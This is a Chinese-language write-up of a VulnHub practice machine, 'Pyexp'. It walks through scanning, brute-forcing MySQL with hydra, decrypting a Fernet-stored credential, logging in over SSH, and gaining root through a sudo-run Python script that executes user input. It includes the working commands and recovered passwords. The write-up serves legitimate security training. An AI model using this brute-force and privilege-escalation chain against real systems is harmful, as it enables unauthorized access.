VulnHub-Pyexp

前言

  这是打靶训练的第20周,靶机下载,难度低。

信息搜集

  nmap扫描结果

PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1

  可看到只开启了ssh和mysql,这种情况,只有爆破了。使用hydra 爆破mysqlhydra -l root -P rockyou.txt mysql://10.16.122.23

  经过漫长的等待,得到用户名root,密码prettywoman,期间又去爆破ssh无果
  
  使用mysql -u root -h 10.16.122.23 -p,成功连接上数据库后,先查看有那些数据库
  
  查看data数据库,得到fernet
  
  查看表中的内容

+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| cred                                                                                                                     | keyy                                         |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+

  这个一看就是密文和密钥,关键是用的什么加密,其实表名fernet,就给出了答案。fernet是python的一个加密库。根据官方用例,写出下面的解密代码

from cryptography.fernet import Fernet

key = 'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
print(f.decrypt(token))

  运行结果

b'lucy:wJ9`"Lemdv9[FEw-'

提权

  猜测是ssh账号,使用ssh lucy@10.16.122.23 -p 1337,密码wJ9'”Lemdv9[FEw-,成功登录
  
  
  
  查看cat /opt/exp.py内容

uinput = raw_input('how are you?')
exec(uinput)

  经典的exec提权,sudo /usr/bin/python2 /opt/exp.py,执行import os;os.system("/bin/bash -i"),打靶结束
  

查看评论 -
评论